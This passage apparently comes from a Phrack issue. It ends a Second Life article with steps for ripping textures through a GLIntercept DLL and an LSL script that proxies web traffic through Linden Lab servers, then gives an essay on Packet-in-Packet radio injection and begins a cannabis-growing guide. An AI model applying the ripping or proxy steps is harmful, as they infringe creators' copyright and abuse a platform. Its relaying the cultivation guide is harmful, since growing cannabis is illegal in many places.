Textures - GLIntercept The GLIntercept method involves grabbing a copy of GLIntercept and replacing the .dll file with the GLIntercept one. By doing that, when you run the Second Life viewer, all the textures will be stored to your hard drive in the images directory. It is a resource consuming procedure because any texture that your viewer sees is saved to your hard-drive. Therefore, if your only interest is to allot a collection of textures, then get GLIntercept and, after installing it, replace the opengl .dll from your viewer directory with the one from GLIntercept. If you cannot find the viewer's opengl .dll, then just copy it as a new file because the viewer will pick it up. I recommend setting your graphics all the way to low and taking it easy because in the background, the GLIntercept .dll will create an images directory and dump all the possible textures, including the textures belonging to the UI. There is a lot of fuss going on about GLIntercept. Some strange people say it does not work anymore and some funny people come up with ideas like encrypting the textures. The principle that GLIntercept works on is trivial to the point of making the whole fuss meaningless. GLIntercept, when used in conjunction with the viewer is an extra layer between your viewer and opengl. Anything that your graphics card renders can be grabbed - together with other similar software [8], the same effect described in this article, however it would require you to convert the structures to the Second Life format. The usage of GLIntercept is not restricted to Second Life, you can go ahead and grab anything you like from any program that uses opengl. It literally puts a dent (crater?) into content stealing, the important phrase being: "anything that your graphics card renders, can be grabbed". ------[ IV. Postamble Second Life is a vanity driven virtual universe which is plagued by the most horrible muppets that fake anonymity could spawn. The Lindens maintain full control and all the content you upload automatically switches ownership to Linden Labs via the Terms of Service which make you renounce your copyright. Not only that, but there are plenty of rumours you are tracked and they have a dodgy "age-verification" system in place which forces you to send your ID card to be checked by "a third party". Under these circumstances, it is of course questionable what they do with that data and whether they link your in-world activities to your identity. There is more that could be potentially done, the viewers are so frail and incredibly poorly coded from all perspectives and certainly not the quality you would expect from an institution that makes billions of shineys. There have been exploits before such as Charlie Miller's Quicktime exploit [9] which was able to gain full control of your machine (patched now) and Michael Thumann's excellent presentation which goes over many concepts of Second Life as well as how they can be abused [10]. One of the further possibilities I have been looking into (closely related to Michael Thumann's presentation) is to use LSL and create an in-world proxy that will enable your browser to connect to a primitive in-world and bounce your traffic. There is a limitation imposed on the amount of information an LSL script can retrieve off the web, however I am still looking into way to circumvent that. Essentially the idea would be to use the Linden Labs servers as a proxy to carry out all the surfing. At the current time of writing this article, I do have a working LSL implementation (you can see an example of that in [A. 1]) that can grab 2kb off any website (this is a limitation imposed by the LSL function llHTTPRequest()). Additionally, a PHP page could be created that rewrites the content sent back by the LSL script and so that the links send the requests back through the script in Second Life. Not only IPs, but headers, timezone, DNS requests and everything else gets spoofed that way. The possibilities are limitless and I have seen viewers emerge that rely on this concept, such as CryoLife or NeilLife. However, the identification strings sent by the few versions lying around the net have been tagged and any user connecting with them would be banned. If you want to amuse yourself further, you may want to have a look at: http://wiki.secondlife.com/wiki/User:Crone_Dryke Dedicated to CV. Many thanks to the Phrack Staff for their help and their interest in the article. Thank you for your time! ------[ B. Bibliography [1] The Second Life website, http://secondlife.com/ [2] Linden Labs official website, http://lindenlab.com/ [3] Linden Scripting Language LSL Wiki, http://wiki.secondlife.com/wiki/LSL_Portal [4] Imprudence Viewer downloads, http://wiki.kokuaviewer.org/wiki/Imprudence:Downloads [5] The Phoenix Viewer, http://www.phoenixviewer.com/ [6] The third-party viewer policy, http://secondlife.com/corporate/tpv.php [7] GLIntercept, http://oreilly.com/pub/h/5235 [8] Ogre exporters, http://www.ogre3d.org/tikiwiki/OGRE+Exporters [9] QuickTime exploit granting full access to a users machine, http://securityevaluators.com/content/case-studies/sl/ [10] Thumann's presentation on possibilities how to exploit Second Life, https://www.blackhat.com/presentations/bh-europe-08/Thumann/ Presentation/bh-eu-08-thumann.pdf [11] OpenMetaverse Library for Developers, http://lib.openmetaverse.org/wiki/Main_Page ------[ A. Appendix [A. 1] LSL script which requests an publicly accessible URL from the current SIM it is located on, and answers any proxies HTTP requests by accessing the public URL, suffixed with "/url=" where "some URL" represents a web address. The script fetches 2k of the content and then sends it back to the browser. key uReq; key sReq; default { state_entry() { llRequestURL(); } changed(integer change) { if (change & CHANGED_INVENTORY) llResetScript(); } http_request(key id, string method, string body) { if (method == URL_REQUEST_GRANTED) { llOwnerSay(body); return; } if (method == "GET") { uReq = id; list pURL = llParseString2List( llGetHTTPHeader(id, "x-query-string"), ["="], []); if (llList2String(pURL, 0) == "url") sReq = llHTTPRequest(llList2String(pURL, 1), [HTTP_METHOD, "GET"], ""); } } http_response(key request_id, integer status, list metadata, string body) { if (sReq == request_id) llHTTPResponse(uReq, 200, body); } } |=[ 0x06 ]=---=[ How I misunderstood digital radio; or, "Weird machines" are in radio, too! - M.Laphroaig pastor@phrack ]--=| ...there be bytes in the air and Turing machines everywhere When one lays claim to generalizing a class of common misconceptions, it is fitting to start with one's own. These are the things I used to believe about digital radio -- or, more precisely, would not have questioned if explicitly presented with them. === Wishful thinking === The following statements are obviously related and mutually reinforcing: 1. Layer 1 delivers frames to Layer 2 either fully intact frames exactly as transmitted by a peer in their entirety, or slightly corrupted versions of such frames if CRC checking in Layer 1 is disabled, as it sometimes is for sniffing. 2. In order to be received at Layer 1, a frame must be transmitted with proper encapsulation by a compatible Layer 1 transmitter using the exact same PHY protocol. There is no substitution in commodity PHY implementations for the radio chip circuitry activated when the chip starts transmitting a queued Layer 2 frame, except by use of an expensive software defined radio. 3. Layer 1 implementations have means to unambiguously distinguish between the radio transmission that precedes a frame -- such as the frame's preamble -- and the frame's actual data. One cannot be mistaken for another, or such a mistake would be extremely rare and barely reproducible. 4. Should a receiver miss the physical beginning of a frame transmission on the air due to noise or a timing problem, the rest of the transmission is wasted, and no valid frame could be received at least until this frame's transmission is over. For Layer 1 injection, this would imply the following limitations: a. In order to successfully "inject" a crafted Layer 1 frame (that is, to have it received by the target) the attacker needs to (1) build the binary representation of the full frame in a buffer, (2) possess a radio capable of transmitting buffer binary contents, and (3) instruct the radio to transmit the buffer, possibly bypassing hardware or firmware implementations of protocol features that may alter or side-effect the transmission. b. In particular, the injecting radio must perfectly cooperate by producing the proper encapsulating physical signals for the preamble, etc., around the injected buffer-held frame. Without such cooperation, injection is not possible. c. Errors due to radio noise can only break injection. The injecting transmission, as a rule, needs to be more powerful to avoid being thwarted by ambient noise. d. Faraday cages are the ultimate protection against injection, as long as the nodes therein maintain their software and hardware integrity, and do not afford any undue privileges to the attacker. A high-level summary of these beliefs could be stated like this: the OSI Layer 1/Layer 2 boundary in digital radio is a _validity and authenticity filter_ for frames. In order to be received, a frame must be transmitted in its entirety via an "authentic" mechanism, the transmitting chip's logic going through its normal or nearly normal state transitions, or emulated by a software-defined radio. Each and every one of these is _false_, as demonstrated by the existence of Packet-in-Packet (PIP) [1,2] exploits. === A Packet Breaks Out === On a cold and windy February 23rd of 2011, my illusions came to an abrupt end when I saw the payload bytes of an 802.15.4 frame's data --- transmitted inside a valid packet as a regular payload --- received as a frame of its own, reproducibly. The "inner" packet, which I believed to be safely contained within the belly of the enclosing frame would occasionally break out and arrive all by itself, without any sign of the encapsulating packet. Every once in a while, there was no whale, just Jonah. It was a very unwelcome miracle for someone who believed he could be safe from even SDR-wielding attackers inside a cozy Faraday cage, as long as his utopian gated community had no compromised nodes. Where was my encapsulation now? Where was my textbook's OSI model? Lies, all lies. Sweet illusions shattered by cruel Packet-in-Packet, the textbook illusion of neat encapsulation chief among them. How the books lied. === Packet-in-Packet: a miracle explained === The following is a typical structure of a digital radio frame as seen by the radio: ------+----------+-----+-------------------------------+-----+------ noise | preamble | SFD | L2 frame reported by sniffers | CRC | noise ------+----------+-----+-------------------------------+-----+------ The receiving radio uses the preamble bytes to synchronize itself, at the same time looking for SFD bytes digitally. Once a sequence of SFD bytes matches, the radio starts treating further incoming bytes as the content of the frame, saving them and feeding them into its checksum computation. Consider the situation when the "L2 payload bytes" transmitted after the SFD themselves contain the following, say, as a valid payload of a higher layer protocol: ---------+-----+--------------------+-------------------------------- preamble | SFD | inner packet bytes | valid checksum for inner packet ---------+-----+--------------------+-------------------------------- If the original frame's preamble and SFD are intact, all of the above will be received and passed on to the driver and the OS as regular payload bytes as intended. Imagine, however, that the original SFD is damaged by noise and missed by the radio. Then the initial bytes of the outer frame will be interpreted as noise, leading up to the embedded "preamble" and "SFD" of the would-be payload. Instead, these preamble and SFD will be taken to indicate an actual start of a real frame, and the "inner" packet will be heard, up to an including the valid checksum. The following bytes of the enclosing frame will again be dismissed as noise, until another sequence of "preamble + SFD" is encountered. Thus, due to noise damaging the real SFD and the receiver's inability to tell noise bytes from payload bytes except by matching for an SFD, the radio will occasionally receive the inner packet -- precisely as if it were sent alone, deliberately. Thus a remote attacker capable of controlling the higher level protocol payloads that get transmitted over the air by one of the targeted radios on the targeted wireless network is essentially capable of occasionally injecting crafted Layer 1 frames -- without ever owning any radio or being near the targeted radios' physical location. Yes, Mallory, there is such a thing as Layer 1 wireless injection without a radio. No, Mallory, a mean, nasty Faraday cage will not spoil your holiday. === The reality === Designers of Layer 2 and above trust Layer 1 to provide valid or "authentic" objects (frames) across the layer boundary. This trust is misplaced. There are two factors that likely contribute to it among network engineers and researchers who are not familiar with radio Layer 1 implementations but have read driver and code in the layers above. Firstly, the use of the CRC-based checking throughout the OSI mode layers likely reinforces the faith in the ability of Layer 1 to detect errors -- any symbol errors that accidentally corrupt the encapsulated packet's structure while on the wire. Secondly, the rather complex parsing code required for Layer 2 and above to properly de-encapsulate respective payloads may lead its readers to believe that similarly complex algorithms take place in hardware or firmware in Layer 1. However, L1 implementations are neither validity, authenticity, or security filters, nor do they maintain complex enough state or context about the frame's bytes they are receiving. Aside from analog clock synchronization, their anatomy is nothing more than that of a finite automaton that pulls bytes (more precisely, symbols of the code that encodes the transmitted bytes, which differ per protocol, both in bits/symbol and in modulation) out of the air, continually. The inherently noisy RF medium produces a constant stream of symbols. The probability of hearing different symbols is actually non-uniform and depends on the details of modulation and encoding scheme, such as its error-correction. As it receives the symbol stream, this automaton continually compares a narrow window within the stream against the SFD sequence known to start a frame. Once matched by this shift register, the symbols start being accumulated in a buffer that will eventually be checksummed and passed to the Layer 2 drivers. Beyond the start-of-frame matching automation, the receiver has no other context to determine whether symbols are in-frame payload, our out-of-frame noise. It has no other concept of encapsulation or frame validity. A digital radio is just a machine for pulling bytes out of the air. It has weird machines in that same way -- and for the same reasons -- that a vulnerable C program has weird machines. Such encapsulation based on such a simple automaton is easily and frequently broken in presence of errors. All that is needed is for the chip's idea of the start-of-frame sequence -- typically, some of the preamble + a Start of Frame Delimiter, a.k.a. Sync, or just the latter where the preamble is used exclusively for analog synchronization -- to not match, for the subsequent payload bytes to be mistaken for the start-of-frame sequence or noise. In fact, to mislead the receiving automaton to the _intended meaning_ of symbols (or bytes they are supposed to make up or come from) no crafting manipulation is necessary: the receiving machine is so simple that _random noise_ alone provides sufficient "manipulation" needed to confuse its state and allow for packet-in-packet injection. Thus injection for attackers without an especially cooperative radio or in fact any radio at all -- so long as the attacker can leverage some radio near the target to produce a predictable stream of symbols -- is enabled by broken encapsulation. === What does this remind me of? === I remember the first time I witnessed a buffer overflow exploit, when my Internet-facing Linux box, name Miskatonic, was exploited. Whoever did that also opened a whole new world to me, and I'll be happy to repay that debt with a beer should we ever meet in person. At that time, I was a fairly competent C programmer, but I saw the world in terms of functions that called other functions. Each of these functions returned after being called to whichever address it had been called from. I thought that the only way for a piece of code to ever get executed was to be inside a function called at some point. In other words, I regarded C functions as "atomic" abstractions. Even though I implemented simple recursion and mutually recursive functions via my own stacks a few times, it never occurred to me that a real call stack could be anything other than a neat and perfect data structure with "push", "pop", and referencing of variable slots. Beware layers of abstractions. Take their expected, specified operation on faith, and they will appear real. It is tempting to trust a lower abstraction layer to provide _only_ the valid data structures your next layer expects to receive, to assume that the lower layer's designers already took responsibility for it. It is so tempting to limit your considerations to the detail and complexity of the layer you are working in. Thus the layers of abstraction become boundaries of competence. This temptation is overpowering on well-designed, abstraction-oriented environments, where you lack any legal or effective means of PEEK-ing or POKE-ing the underlying layers. Dijkstra decried BASIC as a mind-mutilating language, but most real BASICs had PEEK and POKE to explore the actual RAM, and one sooner or later found himself wondering what they did. I wonder what Dijkstra would have said about Java, which entirely traps the mind of a programmer in its abstractions, with no hint of any other ways or idioms of programming. === How we could have avoided falling for it === The key to understanding this design problem is the incorrect assumptions about how input is handled, in particular, of how it is handled as a language, and the machine that handles it. The _language-theoretic approach_ to finding just such misconceptions and exploitable bugs based on it was developed by Len Sassaman and Meredith L. Patterson. Watch their talks [3,4] and look for upcoming papers at http://langsec.org Such a language-theoretic analysis at L1 would have revealed this immediately. Valid frames are phrases in the language of bytes that a digital radio continually pulls out of the air, and the L1 seen as an automaton for accepting valid phrases (frames) should reject everything else. The start-of-frame-delimiter matching functionality within the radio chip is just a shift register and a comparison circuit -- too simple an automaton, in fact, to guarantee anything about the validity of the frame. With this perspective, the misconception of L2 expecting frame encapsulation and validity becomes clear, almost trivial. The key to finding the vulnerability is in choosing this perspective. Conversely, there is no nicer source of 0-day than false assumptions about what is on the other side of an interface boundary of a textbook-blessed design. The convenient fiction of classic abstractions leads one to imagine a perfect and perfectly trustworthy machine on the other side, which takes care of serving up only the right kind of inputs to one's own layer. And so layers of abstraction become boundaries of competence. References: [1] Travis Goodspeed, Sergey Bratus, Ricky Melgares, Rebecca Shapiro, Ryan Speers, "Packets in Packets: Orson Welles' In-Band Signaling Attacks for Modern Radios", USENIX WOOT, August 2011, http://www.usenix.org/events/woot11/tech/final_files/Goodspeed.pdf [2] Travis Goodspeed, Remotely Exploiting the PHY Layer, http://travisgoodspeed.blogspot.com/2011/09/ remotely-exploiting-phy-layer.html [3] Len Sassaman, Meredith L. Patterson, "Exploiting the Forest with Trees", BlackHat USA, August 2010, http://www.youtube.com/watch?v=2qXmPTQ7HFM [4] Len Sassaman, Meredith L. Patterson, "Towards a formal theory of computer insecurity: a language-theoretic approach" Invited Lecture at Dartmouth College, March 2011, http://www.youtube.com/watch?v=AqZNebWoqnc |=[ 0x07 ]=--=[ The 1130 Guide to Growing High-Quality Cannabis - 1130 ]-=| So you wanna grow marijuana? You wanna get high off your own buds? Well this guide will surely teach you how. I'll assume you're already somewhat familiar with Mary-Jane, so I won't explain all the jargon in deep detail. Table of Contents 0x00: General Botany -- basic plant knowledge 0x01: Environment -- air, temperature, and humidity 0x02: Container -- size and shape 0x03: Water -- temperature and filtering 0x04: Nutes -- plant food 0x05: Conductivity and pH -- don't burn the roots 0x06: Hydroponics -- how-to hydro 0x07: Light -- which and why 0x08: Cloning -- make 'em root 0x09: Vegging -- big 'n' bushy 0x0A: Flowering -- dense and dank 0x0B: Harvest -- chop, dry, and cure 0x0C: Extracts -- smoke, vape, and cook 0x0D: Signs and Symptoms -- oh noes, wtf mang! 0x00: General Botany If you've never grown before, growing cannabis can be difficult. Really though, it just depends on how much time you put in. As long as you check in on your plants 3-4 times a day, you'll begin to learn enough about them to grow some really dank buds. But to get you started, here are a few things you should know. Plants need light, water, air, and food to grow. A lack of any one of these at best will slow its growth and at worst will cause part or all of it to die. Light is generally the most limiting factor in determining a plant's growth rate, but that assumes all other factors are maxed. Plants absorb water and nutrients through their roots and carbon dioxide (CO2) through their leaves. They also need a bit of oxygen which they absorb through both leaves and roots. Chloryphyll is a chemical in their leaves that's used as a catylyst with energy from light to convert CO2 and water into sugars and oxygen. Chloryphyll-a is also what gives leaves their green color, while Chloryphyll-b is responsible for the yellow color of leaves. Plants need oxygen in order to burn energy to stay alive and grow, like we do, but plants produce much more oxygen than they consume. Plants are not able to move enough oxygen from the leaves down to the roots, so roots must have access to some oxygen in order to stay alive. When soil dries, air fills the space in the ground, and so soil must dry enough so that the roots can have air to breathe. Cannabis has two main kinds of roots. There are the taproots which can grow very large and persist through dryness, and there are the feeder hairs. Feeder hairs will not survive very long without water, but since the roots need air to breathe the soil must dry out enough between waterings. Thus, it is important to let soil dry enough so it is not wet but still retains enough moisture to keep the feeder hairs alive. If they die, they must grow back before the plant can begin absorbing more nutrients. An easy way to tell if the soil is properly dry is if the color is still dark (not a lighter brown as when the dirt is "bone-dry") but the soil does not stay clumped together as it does when wet. Plants require three macronutrients to survive: N-P-K, or Nitrogen (Nitrates), Phosphorus (Phosphates), and Potassium (Potash). Nitrogen is primarily responsible for the green color in vegetative matter. It is not as important in fruits and flowers. Phosphorus is needed for root growth and is also the primary nutrient for fruits and flowers. Potassium is used throughout the plant to provde support; more Potassium means stronger, stiffer stems and branches which provide better support for dense buds. 0x01: Environment Although cannabis grows in pretty much any condition (it is a weed, after all), optimal conditions produce optimal growth rates. Certain strains may be more picky than others, but generally you want the following: Humidity Cloning: 90-100% Vegging: 50-80% Flowering: 40-50% Temperature should always be 68-75F (20-24C). Lower temps increase humidity, and higher temps reduce humidity. Plants drink through their leaves as well as their roots, and they need humidity to do this. They also transpire through their leaves when temperatures are too high. Keep this in mind when checking your levels and diagnosing your plants. For instance, if the environment's been hotter than ideal and the air is dry, a small watering in between regular waterings may be necessary to protect the roots near the topsoil and prevent the plant from going into shock. Air flow is very important. Basically you want to see the leaves moving at all times. Proper air flow does two things: it moves the air right around the leaves so the plant always has access to CO2, and the continuous leaf movement causes the plant to react and grow stronger stems which you need to support those massively dense buds you wanna grow. Too much airflow isn't a big deal as long as the plants aren't falling over. Technically, moving air will reduce air pressure and thus temperature will drop slightly, so if heat is a problem for you consider keeping your fan on a higher setting. But the more air flow, the more the plants transpire, and the more water they'll need. 0x02: Container Cannabis needs a proper container to provide optimal root growth. In shape, the best container is wider than it is tall. If growing outdoors, a raised bed of good soil does wonders. Indoors, wide pots or trays work very well. You'll need to decide if you want to grow in soil or a hydroponic medium. There are pros and cons to both. Soil with compost is ideal for outdoor organic growing -- after preparation nature helps keep the roots healthy, and with a good compost mix most of the time plain water is all that's needed. If growing in pots, soil is still a good choice, but you will definitely have to supplement the water with additional nutrients, or you can use dry fertilizers that you work into the topsoil. Indoor growing is much different than outdoor, and growing hydroponically adds a-whole-nother set of variables. If you're lazy, you have two options: grow in soil (soil is very forgiving), or build an automated setup. An automated setup is one that takes care of watering for you, so all you need to do is regular checkups, trimming, and checking on your reservoir. I'll go into detail about different hydroponic setups later on. 0x03: Water Yes, a whole section on water, albeit a short one. Water temperature should be a little less than air temperature, although the roots will tolerate pretty cold water. Never give your plants water that's less than 50F (10C); you'll risk shocking the roots and stunting growth for a few days. Water should be clean of excess salts, especially chlorine and chloramines. Soil gardens will tolerate the chlorines much better than hydro, but you should really get a water filter. A carbon filter is usually fine, but if your water source is really bad you might want to consider Reverse-Osmosis. RO filters are expensive, but they also reduce the conductivity of the water to the lowest possible levels, allowing you to add more nutrients without burning the roots. Carbon filters are pretty cheap, and you could even use a regular drinking water filter. 0x04: Nutes I do love organic; there's nothing quite like the taste of organically grown buds, but I do find that synthetic nutrients give amazing results. If you're not growing for personal use, synthetics are cheaper and can give very high yields. Either way, I'd recommend using a premade blend made by a name-brand company -- when you're starting out it's just not worth trying to play chemist, just get the kit. I use liquid nutrients for both hydro and soil, but dry feeds will work in soil and any non-recirculating hydro setup (e.g. feed and drain in coco). Liquid nutrients are designed to be instantly accessible by the plants, whereas dry feeds are usually time-release. Here are some rough empirical NPKs: Cloning: 1-3-4 Vegging: 3-2-4 Flowering: 1-4-5 Aside from Nitrogen, Phosphates, and Potash, plants also need micronutrients. Iron, Calcium, and Magnesium and at the top, with still many others required to proper growth. Most organic mixes will have these even though they won't specify on the bottle, but if you're growing with synthetics you will have to supplement. Molasses has Fe, Ca, and Mg, and the sugar content helps both feed microbials and rinse out the growing medium. Various Vitamin B-1 mixes will have most necessary micronutrients. Cal-Mag supplements are good too, but be aware when using in conjunction with molasses so you don't overfeed. In general, I recommend starting with less than half of the listed usage on the nutrient containers and then increasing as you see fit. It's a lot easier to see that your plants' leaves are a lighter green than you would want and then to increase the Veg mix than to use too much and burn your plants and have to start all over. If growing in soil, try starting at a quarter-strength and using it with every watering. Increase as necessary to compensate for light color and plant size. 0x05: Conductivity and pH Soil/medium pH and water pH are measured differently, but as long as you regulate the water pH there's no reason to worry about the soil. If you can afford it, I highly recommend getting a pH/Conductivity meter; some also measure PPM (parts per million), though it's usually a conversion from conductivity (measures in milliSiemens). I don't even pay attention to the usage on the nutrient bottle anymore, but I fill my resevoir according to the conductivity. I find it to be much more accurate than measuring the volume of water in gallons and using measuring cups for nutrients. Required pH will depend entirely on your medium. In pure hydro/aero setups, this is 5.6-5.8 for veg and 5.8-6.0 for flowering. In coco coir, this is a bit higher: 6.0-6.2 for veg and 6.2-6.5 for flowering. In soil, it really depends on what's in the mix, but it usually ranges in 6.5-6.8 for veg and 6.8-7.0 for flowering. Cloning should be in between the values for veg and flowering (5.8 for hydro, 6.2 for coco, and 6.8 for soil). pH mostly affects the nutrients that are available for the roots to absorb. The lower ranges increase nitrogen uptake, and the higher ranges increase phosphates. Since nitrogen is more important for veg and phosphate for flowering, this explains why the ranges are different for each phase. If pH varies by a point or two, it's not a big deal, but too strong in either direction can cause root-burn as well as deficiencies in both macro and micronutrients. Conductivity requirements depend on the age/size of the plant. I suggest starting with these maximums and steadily increasing for larger containers so long as no signs of problems occur: For soil/hydro: Cloning: 0.8/1.2 mS Vegging: 1.6/2.0 mS (containers up to 2 gallons) Flowering: 2.4/3.0 mS (containers up to 5 gallons) In general, conductivity >3.0 mS can be dangerous, so above that range only increase once/week and only 0.1-0.2 mS at a time. 0x06: Hydroponics Hydro is awesome. Plants have the ability to grow continuously and at a very rapid pace, but they need extra care, and problems with nutrients or pH often occur so quickly that by the time you realize there's a problem it's usually too late. For first-timers, I'd recommend coco coir. If you're ambitious, consider building your own aeroponic system. In general, there are two types of systems: recirculating, and drain-to-waste. I'll list each medium and give some details about which system is appropriate. For recirculating, you'll want to drain and change your reservoir at least once a week in addition to topping it off regularly, whereas if using a drain-to-waste system only topping off is necessary. Coco coir: Coco coir is a part of the coconut husk that by itself can take years to break down, hence its designation as a hydroponic medium. It's commonly used as bedding for worms. It's highly absorbent and expands to sometimes five times its dry volume when wet. It also holds air very well. Coco coir is nice because it's very difficult to over-water your plants with it since it holds so much air, and the shrinking in between waterings adds additional air to the medium. Drain-to-waste is best for coco because bits of the medium will also drain out, and you don't want these clogging up your pump or lines. Depending on the size of the container and plants, coco requires 1-3 feedings/day. Rockwool: Rockwool is woven fibers of rock made by Grodan. Rockwool is very absorbent, and it's easy to see when it is drying up. Like coco, rockwool is very porous and holds air very well. I prefer rockwool for cloning. Ebb and flow (flood and drain, recirculating) or drain-to-waste both work well with rockwool. Fast growing plants may require up to 5-6 waterings/day depending on the size of medium. Timers come in handy here. For ebb and flow, flood for 10-15 minutes, then drain. For drain-to-waste, feed as needed, allowing 5-10% of the water feed to drain, ensuring complete saturation of the medium. Hydroton, Perlite, or other Pebbles: Hydroton is a manufactured expanded-clay medium. Perlite is a volcanic glass/rock, also expanded, and very porous. Both are better than filling a container with rocks/pebbles, although you could do that if you're really trying to save money. Hydroton and perlite do hold some water, but they drain very quickly and so should not be left without water for an extended period of time. Ebb and flow or continuous drip work well here. Drain-to-waste is very inefficient since the medium doesn't hold water for very long, and so very accurate timings would be needed to prevent excessive waste. If using a continuous drip, consider aerating the reservoir with an air pump to ensure roots have access to oxygen. For ebb and flow, flood at least 1-2 times per hour with no more than 15 minutes of dry time. Aeroponic Aeroponic growing is sweet. There's little-to-no chance of overwatering or underwatering (unless your pump breaks) as the roots always have access to water, nutrients, and air. For this, you'll need to contruct a sprayer assembly inside a reservoir. Rubbermaid containers are cheap and work well. cut 2" holes in the lid (or whatever size gasket you have) and fill the holes with cylindrical foam gaskets to hold the plants. Plant roots hang down freely into the reservoir. Construct the sprayer assembly using PVC piping and small 180- and 360-degree sprayers depending on placement. The assembly should be as short as possible but have at least 2-3 inches above the pump and below the sprayers at the top. Use a submersible pump, and fill the reservoir to above the pump but below the sprayers. You will need an NFT (Nutrient Film Technique) style timer for the pump. These typically operate on cycles of 1 minute on and 4 minutes off or 3 minutes on and 5 minutes off. I've seen cheap adjustable ones on Ebay. You can also make one yourself with an arduino and a relay pretty easily. Just make sure that the cycle allows for time in between sprayings to provide the roots access to air. An air pump here also works well. Deep Water Culture: DWC is simple, easy, and efficient. It's basically an aeroponic system but with a much deeper reservoir, allowing the roots to grow down into the nutrient solution. A sprayer system similar to the aeroponic one described above can be used, or a top-drip works as well. For a top-drip, fill a pot with Hydroton or another medium, and set the pump to continuously pump feed from the reservoir underneath to the pot on top. An aerator for the nutrient solution is necessary here so that roots hanging down into the solution have access to air. Aquaponic: When I first read about this I was blown away. Aquaponic combines hydro with an aquarium. Basically, you have a large reservoir with a DWC setup, but additionally you have fish living inside as well. The fish and plants eat each other's waste (just like in nature!), and they both feed on fish meal which is one of the most common organic plant foods. Guppies are usually the best choice for fish since they're cheap and reproduce quickly, although any freshwater fish will work. 0x07: Light Light is arguably the most important factor in growing. Typically it is the most limiting factor. There are many different types of lights, and each has its own benefits. Halogen lights are most common in professional grows, fluorescents are cheap and efficient, and LEDs are gaining popularity. Here's some info on each: Good ol' incandescents: These provide light, they sure do, but they also provide heat. They're best used as supplemental light when you need the added heat as well, otherwise just go with a fluorescent. Fluorescents: Fluorescents come in many sizes, shapes, and spectrums. Spectrum is rated by color temperature in Kelvins. A 6500K light is usually recommended as it provides the closest spectrum to the Sun's white light. In general, the higher the K, the better. Fluorescents are great for all phases of growth, but they're best suited for clones, mothers, and vegetative plants when you have an HPS available for flowering. Even so, they're always great to consider as supplementals since they're so cheap and efficient. Metal-Hallides: MH Halogens are extremely effective for the vegetative phase. They work for flowering as well, but are not as effective as HPS lights. A 400-watt MH can cover a 3x3ft area, 600-watt covers 4x4', and 1000-watt covers 6x6'. Of course, additional light is nice. High-Pressure Sodium: HPS lights are best for flowering. They have a spectrum more concentrated in the red/yellow end which plants tend to absorb more during the autumn season (when flowering). In every test I've ever seen, HPS lights outperform all other lights in flowering production, watt for watt (or lumen-equivalent in the case of LEDs and fluorescents). HPS lights also generate a lot of heat, so keep that in consideration. LEDs: LED lights are extremely efficient, but they're also expensive. In the long run, they're worth it, but they can take a few cycles to pay themselves off. LEDs come in combinations of red and blue (more red for flowering), and sometimes other colors are added as well. If space permits, I'd still recommend using an HPS along with LEDs for flowering, but LEDs are great for the vegetative phase. With all lights, the inverse-square law applies, meaning if you cut the distance from light to plant in half, you quadruple the light received, and vice versa, if you double the distance you quarter the light received. Too much light can be a bad thing. Plants that are too small or do not have enough water/nutrients to use will not be able to use all the light that hits them and their leaves will burn. Also, there are areas close to the lights that are called hotspots. These are areas where reflected light is concentrated, and plants in these spots are more likely to burn since the light there is very intense. The rule-of-thumb is use your hand: if it's too hot for you, it's too hot for the plants. 0x08: Cloning Cloning is the process of taking cuttings from a "mother" and allowing these cuttings to root into plants of their own. In addition to your mother plant, you'll need a sharp pair of snips, a humidity dome, cloning medium, filtered water, cloning gel/powder (optional), nutrients (optional but recommended), and a light that will be on 24-hours/day (a single fluorescent is sufficient). Here is a step-by-step process: Prepare your mothers by giving them plain water (along with a flushing solution if you like, a bit of molasses works well) at least a day before cutting clones. This helps flush out excess Nitrogen so that the clones can root more quickly. Prepare the cloning solution. This can be plain water, but I like to add a mix of flowering nutrients (better than vegging nutrients for rooting, nitrogen is bad for cloning) and kelp and algae extracts. Balance the pH of the solution according to the medium you're using, and throoughly soak the medium. I use rockwool. Other alternatives are Groplugs, Coco, and soil. Any growing medium can work, really.I also like to keep a pool of solution in the bottom tray of the humidity dome to help keep the humidity high as well as provide food for the plants once they root. You can even allow the medium to soak for the first 3-4 days of cloning to help speed up root growth, just be sure to drain it after that. Cut the clones. I've cut both small and tall clones, and the small ones work very well too. Leave at least 2" (about 5cm) of stem underneath the highest leaves. You can trim leaves off to save space, if you want. This allows you to pack more clones inside the dome. Otherwise, I like to leave the leaves on (except for the bottom section that's inside the medium). You can place the clone directly in the medium, or you can shave and split the bottom. Splitting the bottom of the stem and shaving off the outer-layer of the bottom of the stem increases the surface area of the cambium layer, kind of like a stemcell layer. From here is where the roots grow. Exposing more can increase the rooting time by a few days, but often you will get much more vigorous root growth. I prefer this method. Dip the stem tip in cloning gel/powder, if you're using it (I don't), then plant the clones inside the medium, and cover the dome. If cutting many clones, I like to keep the dome partially covered (for those already planted) so they don't start wilting right away. After they're all planted and the dome is covered, place the dome under a light that will be on 24-hours/day. Clones need very little light to root, so a single fluorescent is sufficient here, or just some ambient light that will not be shut off. Clones can take anywhere from 5-14 days to root depending on the factors discussed above. I like to keep my clones rooting in the dome until their root masses are about a foot long, though the plants will still be short. This ensures the best chance of avoiding shock when transplanting as well as fairly explosive growth within a couple days of transplanting. 0x09: Vegging Once clones have rooted, the vegetative phase begins. Most strains require at least 18 hours of light/day to prevent them from flowering, though some make require more, up to 24 hours/day. This is the easiest phase to grow in since the plants are vigorous and large enough to tolerate shock. Transplant your clones into the medium of your choice, and begin feeding a mild nutrient solution. For soil gardens, plain water can be used for the first week. Increase the concentration of the nutrient solution over time to accomodate the size of the plant. Consider transplanting to a larger container after two weeks of continuous, vigorous growth. Depending on your setup, you'll want a different target size of your veg plants. A sea of green, for instance, requires many plants next to each other so that they basically form a horizontal plane across their tops, but if you're growing in a small closet with 2-3 plants then you'll probably want them as big as they can fit. There are different stress-techniques used to promote larger growth. Topping is one of the most common. Topping entails cutting off the newest growth of the highest node, generally without trimming much of the larger leaf matter. Topping forces the plant's vascular system to merge at this point, causing more growth nodes to be produced here at the top of the plant. Topping is a preferred method because the top buds of each branch are generally the largest, and more top nodes mean more top nugs. Another technique used is bending. Bending entails taking the tallest branch of the plant and bending it down and to the side, usually tying it down with gardening wire or string. Bending exposes more of the lower nodes to direct light, causing them to grow larger. It also allows more buds to receive direct light, making it another preferred method by many growers. Creasing and snapping branches are a form of "supercropping", and they combine the benefits of topping and bending. The idea is to break the inner part of a branch while keeping it attached to the plant. Lke topping, this causes a merging of the vascular system, and this section of branch later on will grow into a nice bulge. And like bending, the top nodes are pushed outward to allow more light to hit nodes underneath. It is 